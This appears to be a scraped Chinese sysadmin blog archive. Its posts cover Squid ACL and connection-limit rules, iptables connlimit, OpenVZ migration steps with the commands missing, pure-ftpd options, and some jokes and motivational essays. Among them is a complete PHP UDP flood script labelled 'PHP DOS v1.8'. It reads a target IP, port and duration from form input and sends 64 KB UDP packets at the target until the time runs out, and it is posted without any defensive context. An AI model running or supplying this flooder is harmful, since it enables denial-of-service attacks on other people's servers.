acl IP dstdom_regex ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
http_access deny IP
acl denydomain dstdom_regex www.domain.com$
http_access deny denydomain
Submitted by admin on 2012, January 18, 10:43 AM
acl IP dstdom_regex ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
http_access deny IP
acl denydomain dstdom_regex www.domain.com$
http_access deny denydomain
Submitted by admin on 2012, January 14, 11:20 AM
第一课
一个男人在他妻子洗完澡后准备进浴室洗澡。这时,门铃响了。
妻子迅速用浴巾裹住自己冲到门口。
当她打开门时,邻居鲍勃站在那儿。
在她开口前,鲍勃说,“你如果把浴巾拿掉,我给你800美元。”
想了一会儿,这个女人拿掉浴巾赤裸地站在鲍勃面前。几秒钟后,鲍勃递给她800美元然后离开了。
女人重新裹好浴巾回到屋里。
当她踏进浴室时,丈夫问她,“是谁呀?”
“是邻居鲍勃。”她回答。
“哦,”丈夫说,“他有没有提到还欠我800美元?”
故事寓意:
及时与同舟共济的股东分享重要信息,将会避免不必要的曝光。
第二课
一个销售员、一个办事员和他们的经理步行去午餐时发现了一盏古代油灯。
他们摩擦油灯,一个精灵跳了出来。
精灵说:“我能满足你们每人一个愿望。”
“我先!我先!”办事员说,“我想去巴哈马群岛,开着快艇,与世隔绝。”
倏!她飞走了。
“该我了!该我了!”销售员说,“我想去夏威夷,躺在沙滩上,有私人女按摩师,免费续杯的冰镇果汁朗姆酒,还有一生中的最爱。”
倏!他飞走了。
“OK, 该你了。”精灵对经理说。
经理回答:“我要那两个蠢货午饭后马上回来工作!”
故事寓意:
永远让你的老板开口先。
第三课
一只鹰坐在高高的树上休息,无所事事。
一只小兔子看见鹰并且问它,“我能象你一样坐着什么都不干吗?”
鹰回答:“行啊,为啥不行。”
于是,兔子坐在鹰下面的地上休息。突然,一只狐狸出现了,它扑到兔子身上把它吃掉了。
故事寓意:
要想坐着无所事事,你必须坐在非常、非常高的位置。
第四课
一只小鸟飞去南方过冬。天实在太冷了。它冻僵了,掉在一片田野上。
它躺在那儿时,一头母牛走过来在它身上拉了一堆屎。
冻僵的小鸟躺在粪堆里,开始感觉到了温暖。
牛粪确实使它暖和过来了。
它躺在温暖的牛粪中,异常高兴,并开始唱起歌来。
一只过路的猫听到鸟叫赶过来看个究竟。
顺着声音,它发现了牛粪下的小鸟,并迅速把它拖出来吃掉了。
故事寓意:
(1) 并不是每个在你身上拉屎的都是你的敌人。
(2) 并不是每个把你拖出粪堆的都是你的朋友。
(3) 当你深陷粪堆中的时候,最好闭上你的鸟嘴
1)学会 沉默
有时候,你被人误解,你不想争辩,所以选择沉默。本来就不是所有的人都得了解你,因此你认为不必对全世界喊话。却也有时候,你被最爱的人误解,你难过到不 想争辩,也只有选择沉默。全世界都可以不懂你,但他应该懂,若他竟然不能懂,还有什么话可说?生命中往往有连舒伯特都无言以对的时刻,毕竟不是所有的是非 都能条列清楚,甚至可能根本没有真正的是与非。那么,不想说话,就不说吧,在多说无益的时候,也许沉默就是最好的解释。
(2)至少 平静
在你跌入人生谷底的时候,你身旁所有的人都告诉你:要坚强,而且要快乐。坚强是绝对需要的,但是快乐?在这种情形下,恐怕是太为难你了。毕竟,谁能在跌得 头破血流的时候还觉得高兴?但是至少可以做到平静。平静地看待这件事,平静地把其他该处理的事处理好。平静,没有快乐,也没有不快乐。
(3)学会弯腰 这会是我意外的收获
和别人发生意见上的纷歧,甚造成言语上的冲突,所以你闷闷不乐,因为你觉得都是别人恶意。别再耿耿于怀了,回家去擦地板吧。拎一块抹布,弯下腰,双膝着 地,把你面前这张地板的每个角落来回擦拭干净。然后重新省思自己在那场冲突,所说过的每一句话。现在,你发现自己其实也有不对的地方了,是不是?你渐渐心 平气和了,是不是?有时候你必须学习弯腰,因为这个动作可以让你谦卑。劳动身体的同时,你也擦亮了自己的心绪。而且,你还拥有了一张光洁的地板呢。这是你 的第二个收获。
(4)不要想 如果 当初
你说,人生是一条有无限多岔口的长路,永远在不停地做选择。如果只是选择吃炒面或炒饭,影响似乎不大,但选择读什么科系、做什么工作、结婚或不结婚、要不 要有孩子,每一个选择都影响深远,而不同的选择也必定造就完全不一样的人生。你又说,生命中不可承受之情,就在于人生没有重来的机会啊。如果当初如何如 何,现在就不会怎样怎样...这种充满怅然的喃喃自语,还是别再多说了吧。每一个岔口的选择其实没有真正的好与坏,只要把人生看成是自己。独一无二的创 作,就不会频频回首如果当初做了不一样的选择。
(5)努力吧 不管成功与否 至少曾经美丽
漫步林间,你看见一株藤蔓附着树干,柔软与坚实相互交缠,你感动于这静美的一幕。让幸福与归属就此驻足吧。你想。不知未来会有怎样一番风雨摧折?也许藤将 断、树会倒,也许天会荒,地将老。你又想。那么,请时光停格在此刻吧。停格即是永恒。永恒里若有这静美的一刻,未来可能遭遇的种种劫难,便已得到了安慰与 报偿。
(6)保持单纯
因为思虑过多,所以你常常把你的人生复杂化了。明明是活在现在,你却总是念念不忘着过去,又忧心忡忡着未来;坚持携带着过去、未来与现在同行,你的人生当 然只有一片拖泥带水。而单纯是一种恩宠状态。单纯地以皮肤感受天气的变化,单纯地以鼻腔品尝雨后的青草香,单纯地以眼睛统摄远山近景如一幅画。单纯地活在 当下。而当下其实无所谓是非真假。既然没有是非,就不必思虑;没有真假,就无须念念不忘又忧心忡忡。无是非真假,不就像在做梦一样了吗?是呀,就单纯地把 你的人生当成梦境去执行吧。
(7)偶尔'俗气'...
吃多了健康食品,偶尔你也想啃一啃鸭舌头和盐酥鸡。看多了大师名剧,偶尔你也想瞄一瞄耳光摔不完眼泪掉不完的连续剧。听多了古典音乐,偶尔你也想唱一唱爱 他一百年又恨他一万年的流行歌曲。你知道健康食品对健胃整肠有意义,大师名剧对培养气质有意义,古典音乐对提升性灵有意义,可是,偶尔你其实并不想让自己 时时刻刻活得那么有意。人生不需要把自己绑得那么紧。偶尔的小小放纵,是道德的。灵气充满或许接近大人,但偶尔的俗气会更平易近人。
(8)控制情绪 别浪费了~
今天的你,是不开心的你,因为有人在言语间刺伤了你。你不喜欢吵架,所以你离开;可是你只是离开了那,却没有离开被那人伤害的情境,因此你愈想愈生气。愈 有气,你就愈没有力气去理会别的事情,许多更该用心去做去想去处理的事件,就在你漫天漫地的心烦意乱之中,被轻忽被漠视被省略了。因为,你只是一心一意地 在生气。在情绪上做文章,这是对自己的浪费,而且是很坏的浪费。毕竟,生气也是要花力气的,而且生气一定伤元气。所以,聪明如你,别让情绪控制了你,当你 又要生气之前,不妨轻声地提醒自己一句:“别浪费了。”
(9)抓住最好的时机 绝不错过
你曾经买了一件很喜欢的衣裳却舍不得穿,郑重地供奉在衣柜里;许久之后,当你再看见它的时候,却发现它已经过时了。所以,你就这样与它错过了。你也曾经买 了一块漂亮的蛋糕却舍不得吃,郑重地供奉在冰箱里;许久之后,当你再看见它的时候,却发现它已经过期了。所以,你也这样与它错过了。没有在最喜欢的时候上 身的衣裳,没有在最可口的时候品尝的蛋糕,就像没有在最想做的时候去做的事情,都是遗憾。生命也有保存期限,想做的事该趁早去做。如果你只是把你的心愿郑 重地供奉在心里,却未曾去实行,那么唯一的结果,就是与它错过,一如那件过时的衣裳,一如那块过期的蛋糕。
(10)偶尔的出离轨道
某次你搭火车打算到A地去,中途却忽然临时起意在B地下了车。也许是别致的地名吸引了你,也许是偶然一瞥的风景触动了你,总之,你就这样改变了本来预定的 行程,然后经历了一场充满惊奇的意外旅行。A地是你原先的目标,B地却让你体会了小小的冒险。回忆起来,你说,那是一次令你难忘的出轨经验。生命中的许多 时候不也如此?心无旁骛地奔赴唯一的目的,不过是履行了原本的行程而已;离开预设的轨道,你才有机会发现其他的风景。
(11)悄悄 悄悄地 回归平静..
曾经有一段时间,你心情低落,甚至懒得拉开窗帘,看着窗外的阳光。因此你当然也忘了去看看,窗台上那一盆每天都需要喝水的玛格丽特。如此不知过了多久,总 算有一天,你度过了心情的低潮,同时也想起了你的玛格丽特。天啊,可怜的花,她还活着吗?你战战兢兢地拉开窗帘,却见她迎风招摇,花颜可掬。原来在过去的 这段日子里,你虽然忘了喂她喝水,老天却没忘了以雨露眷顾她呢。许多事物悄悄地在你的视线之外进行,而且悄悄地安排好了它们自己。天生万物,天养万物,一 切其实无须担心......你只要做的就是做好自己,不留任何遗憾...足矣。
Submitted by admin on 2012, January 12, 11:55 AM
在squid.conf 下加如下配置
client_db on
acl client_10 src 192.168.0.0/32
acl maxconnect maxconn 10
http_access deny client_10 maxconnect
-----------------
squid可以针对连接数进行ip,域名限制:
针对域名设置:
acl ifeng dstdomain img.ifeng.com
acl lianjie maxconn 100
http_access deny ifeng lianjie
针对ip设置
acl client_100 src 192.168.1.100
acl maxconnect maxconn 3
http_access deny client_100 maxconnect
------------------------
maxconn
maxconn ACL 指来自客户IP 地址的大量同时连接。某些squid 管理员发现这是个有用的方法,用以阻止用户滥用代理或者消耗过多资源。
maxconn ACL 在请求超过指定的数量时,会匹配这个请求。因为这个理由,你应该仅仅在deny 规则里使用maxconn。考虑如下例子:
acl OverConnLimit maxconn 4
http_access deny OverConnLimit
在该情况中,squid 允许来自每个IP 地址的同时连接数最大为4 个。当某个客户发起第五个连接时,OverConnLimit ACL 被匹配,http_access 规则拒绝该请求。
另外iptables 有一个 connlimit 模块,是匹配每个 IP 并发连接数的 搜了好多文章说2.6.23以后的版本才默认被编译支持了,低于这个版本的得path 因为这个编译比较复杂 所以在外网服务器没有敢测试
#/sbin/modprobe ipt_limit
#iptables -m limit -h
limit v1.3.5 options:
--limit avg
--limit-burst number
connlimit v1.3.5 options:
[!] --connlimit-above n
允许每个客户机同时两个telnet连接
iptables -p tcp --syn --dport 23 -m connlimit --connlimit-above 2 -j REJECT
iptables 的运作需要两部分
一个是内核部分,一个是用户部分
libipt_connlimit.so 是 iptables 调用要用到的
ipt_connlimit.ko 是内核要用到的
你应该 modprobe ipt_connlimit,若提示有错,证明你的系统不支持,需要 patch
在内核版本2.6.23以前,connlimit都是一个iptables的P-O-M,从2.6.23开始,它正始进入内核。所以我们的iptables在编译时就要使用内核的extention才行
Submitted by admin on 2012, January 9, 12:50 PM
<?php
//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
Submitted by admin on 2012, January 9, 11:50 AM
http://www.laruence.com/2009/06/11/930.html
Submitted by admin on 2012, January 7, 2:33 PM
OpenVZ真的非常好用,配合上GUI的图形管理很方便,效率也相当好。使用时间长了,一直有个问题困扰着我,就是如何把一些部署在物理服务器上的系统(简称物理系统)搬入OpenVZ中呢?
OpenVZ默认只提供了几个简单的centos、fedora的模板,虽然官方网站上也提供了大量precreated(预创建)的各种系统模板供使用,但毕竟这些template(模板)都是别人创建的。以前,我就曾写过:[原]创建VPS OS模板的文章,告诉大家如何创建自己的模板。但这还不能满足我的要求,试想想,如果物理系统上已经部署了大量的应用,重新在VPS里面部署、迁移数据,这工作量将是非常庞大的。OpenVZ本身似乎没有提供这样的迁移工具。
经过查询相关资料,我终于实现了从物理系统到VPS的迁移工作。以下步骤,适用于部署在实际物理服务器上,或VMware、VirtualBox、Xen等虚拟环境中,而物理系统为红旗DC Server 5.0/Asianux 3.0,Centos/RedHat 4.0/5.0,Fedora 7.0/8.0/9.0等操作系统的环境。其余发行版也可参考类似的步骤进行,但因各发行版对配置文件的定义有所差异,需要根据各自的情况进行改动。Debian系列的系统,可以参考底下附录部分的文章处理。
一、准备工作
系统环境:
这里,我希望把server1上的物理系统迁移到server2的其中一个VPS中。迁移前,确认:
二、迁移数据
1、创建VPS环境
可以用vzctl create借助模板创建一个VPS环境,然后清空/vz/private/$veid目录。也可以手动创建:
2、准备拷贝环境
迁移数据的方法有好多,tar、dd、rsync等都可以。我这里使用rsync,所以需要做到:
3、迁移数据
从server1拷贝数据到server2上:
※ 注意,原物理系统上有些目录对于VPS来说是没用的,甚至是有害的,拷贝时请把他们排除
4、设置VPS参数
前面若使用OpenVZ提供的sample配置文件,则还需要对该VPS设置,在server2上执行:
这部分的工作,实际是根据今后该VPS运行的情况而设置的,可以参考原来物理系统的配置进行。注意,若修改了网络等参数的话,今后启动VPS后,记得也要修改应用上的设定咯。
三、调整VPS环境
物理系统上的启动与VPS中启动有不少地方是有差异,或冲突的。这也是最重要改动的地方:
1、修改etc/inittab文件
2、修改etc/mtab文件
3、修改etc/fstab文件
仅保留挂载/dev/pts的哪行:
4、修改etc/rc.d/rc.sysinit文件
把运行/sbin/start_udev的一行删除或注释掉:
5、创建device设备符号
6、删除网卡配置文件
因VPS使用虚拟网卡,不再需要启动物理网卡了。你可以修改配置文件中的ONBOOT为no,或直接删掉:
7、创建缺省目录
四、启动VPS
启动:
至此,迁移工作全部完成。
您可以进入VPS中看看应用运行是否正常。由于VPS与物理系统环境仍存在一点差异,可能会导致应用启动失败,这需要逐一分析日志解决。最常见的是,提供给VPS的资源不足问题。因物理系统可完全独立获得全部系统资源,而在VPS中,受HW控制资源的分配,这可通过在VPS中:
查看failcnt列的信息来判断。然后根据实际情况增加资源即可。
五、参考资料
How To Convert Physical Systems And Xen VMs Into OpenVZ Containers (Debian Etch)
Creating a CentOS 5.0 Template
Submitted by admin on 2012, January 7, 11:20 AM
-0: 当存在同名文件时,旧版本的文件不被删除或者截断,而是采用临时文件。当整个文件上传完毕之后,才指向新的文件。这个开关选项跟虚拟配额不兼容。
-1: 在系统日志的输出中,记录每个会话( Session )的 PID 。
-4: 只监听 IPv4 的连接
-6: 只监听 IPv6 的连接
-a <gid>: 只有通过认证的用户才可以直接访问它的 home 目录。该选项对没有 shell 的系统用户特别有用。注意,这里的 <gid> 是组的数组,而非字母显示。并且, root 始终对整个文件系统有完整的访问权。
-A: 除了 root 之外,都可以使用 chroot()
-b: 忽略部分 RFC 的标准,以处理完全坏掉的客户端、穿越防火墙或者 NAT 盒
-B: 以标准的方式在后台启动服务器
-c <num>: 允许同时连接的客户端数列。默认是 50
-C <num>: 同一 IP 最大连接数
-d: 在系统日志中记录各种信息,口令不会记入日志中,推荐只有需要 debug 时使用。如果两个 -d ,相应信息也一并记入日志。
-D: 即使当客户端没有使用 -a 选项时,同样列出所有以 ”.” 开头的隐藏文件。不推荐使用。
-e: 只开放匿名用户访问
-E: 只开放认证用户使用,匿名访问被禁止
-f <facility>: 使用指定程序记录系统日志,默认时 ’ftp’ 。如果使用 ’-f none’ 则不记录日志。
-F <fortune file>: 在登陆的时候显示一个 fortune 信息,而不是固定的登陆信息。其中 <fortune file> 是符合 fortune 格式的文本文件,fortune信息之间用'%'号隔开。 这是需要在编译时加入 ’—with-cookie’ 选项。如果仅仅是一个简单的文本文件,则在每次登陆是显示相同的信息。
-g <pid file>: 改变默认 pid 文件的位置。默认是位于 /var/run/pure-ftpd.pid
-G: 不允许重命名
-H: 系统默认是要对 IP 地址进行解析,才记入日志文件中。使用这个选项,则可以避免这样做。从而避免带宽的浪费。
-i: 不论目录的权限设置,匿名用户始终不能进行上传
-I <timeout>: 发呆的时间,以分钟为单位。默认是 15 分钟
-j: 如果用户的 home 目录不存在,就自动创建
-k <percentage>: 当 FTP 服务器占用空间超过规定的百分比,则不能再上传文件了。不用加 ’%
-K: 允许用户 resume 和 upload 文件,但是不可以删除和重命名这些文件。空的文件夹也可以被删除。可以通过 ’-r’ 禁止该选项。
-l <authentication> 或者 -l <authentication>:<config file>: 添加一个新的规则
-L <max files>:<max depth>: 默认的, pure-ftpd 不会显示超过 2000 个文件或者深度大于 5 的路径
-m <cpu load>: 如果 CPU 负载超过指定值,则不运行匿名用户下载。但是上传依然允许
-M: 允许匿名用户创建目录
-n <max files>:<max size>: 如果服务器被编译成支持虚拟配额,则该选项可以约束所有的用户(新任组的用户出外)。其中,最大的文件大小以 M 为单位
-N:NAT 模式,强制 Active 。当 ftp 服务器位于 NAT 、伪装网关或者路由器后面时,如果无法正常访问,可以采用此选项。
-o: 将所有上传的文件写入 ’/var/run/pure-ftpd.upload.pipe’ ,使得 ’pure-uploadscipte’ 程序可以运行。
-O <format>:<log file>: 以指定格式将文件传输记入日志文件中。目前支持的格式包括: CLF 、 Stats 、 W3C 和 xferlog
-p <first port>:<last port>: 包括被动模式在内,服务器只会选择从开始到结束的端口进行监听。
-P <ip address or host name>: 对 PASV 、 EPSV 和 SPSV 命令的相应,强制以指定的 IP 地址或 hostname 相应。
-q <upload ratio>:<download ratio>: 为匿名用户指定上传和下载 ration
-Q <upload ratio>:<download ratio>: 为除了 root 组的用户外的所有人指定上传和下载 ratio 。 root 组的用户没有 ratio 限制
-r: 永远不覆盖已经存在的文件。这是,上传一个已经存在的文件时,会自动为其重命名,入: xyz 、 xyz.1 、 xyz.2 。如果编译时使用 ” make AUTORENAME_REVERSE_ORDER=1” ,则重命名的文件是 1.xyz 、 2.xyz
-R: 即使是非匿名用户(除了 root 之外),也不允许使用 chmod 命令
-s: 不允许匿名用户下载属主是 ftp 的文件(其它匿名用户上传的文件)。这样可以保证必须经过管理员的修改,这些文件才能被匿名用户下载。
-S 绑定到指定的地址和端口。例:
/usr/local/sbin/pure-ftpd -S 21
/usr/local/sbin/pure-ftpd -S 192.168.0.1
/usr/local/sbin/pure-ftpd -S 192.168.0.1,21
/usr/local/sbin/pure-ftpd -S mci.uestc.edu.cn,21
-t <bandwidth> 和 -T <bandwidth>: 带宽限制。 <bandwidth> 是以 k/s 为单位,同时可以指定上传和下载的带宽,支持 [<upload>]:[<download>] 语法
-u <uid>: 禁止 uid 小于 <uid> 的用户登陆。 -u 1 可以禁止 root 用户登陆, -u 100 可以禁止绝大多数系统虚拟用户登陆。
-U <umask for files>:<umask for dirs>: 改变默认的掩码,默认的是 133:022 。如果希望上传的文件只能被上传该文件的用户读,使用 ’-U 177:077’ 。如果希望上传的文件可以被执行,使用 022:022 (文件可以被其它用户读,但是不能写)。 077:077 文件只能被所有者执行或者读。 Pure-ftpd 支持 SITE CHMOD ,使得用户可以被改变自己文件的属性。
-V <ip address>: 只允许在指定地址的非匿名的 FTP 访问。这时,可以将公网 IP 路由到一个指定的内网 IP 地址,或者将新任的 IP 地址路由到指定的内网 IP 地址。
-v <name>: 支持苹果的 Bonjor ,只有当 Bonjor 选择在编译的时候支持是,苹果的 MacOS X 才能有此属性。
-w: 只对认证的用户支持 FXP 协议
-W: 支持 FXP 协议
-x: 默认时,非匿名用户可以读和写以 ’.’ 开头的隐藏文件,而匿名用户则不可以。当该选项指定时,用户只能下载这些文件,但是不能覆盖和创建,即使该用户时是该文件的属主。如果希望是用户可以访问特定的以 ’.’ 开头的文件,可以通过建立该文件的链接(非 ’.’ 开头的文件名)达到目的
-X: 用户除了不能写以 ’.’ 开头的文件,如果使用了该选项,用户不能读这样的文件,也不能进入这样的目录。(当以 ’-a’ 参数启动,受信的用户可以绕开 ’-x’ 和 ’-X’ 的限制)
-y <max user logins>:<max anonymous logins>: 如果编译时加入了 --with-peruserlimits 选项,该选项限制了同一个用户可以同时拥有的 session 数目。空值 ’0’ 意味着没有限制
-z: 允许匿名用户读以 ’.’ 开头的文件和目录
-Z: 避免用户犯简单的错误。当前,该选项可以避免用户错误的使用 chmod 命令,防止他们不能访问自己的文件或者目录。该选项在将来还会有更多的功能。所以,推荐 host 服务器打开该参数
Submitted by admin on 2012, January 7, 10:57 AM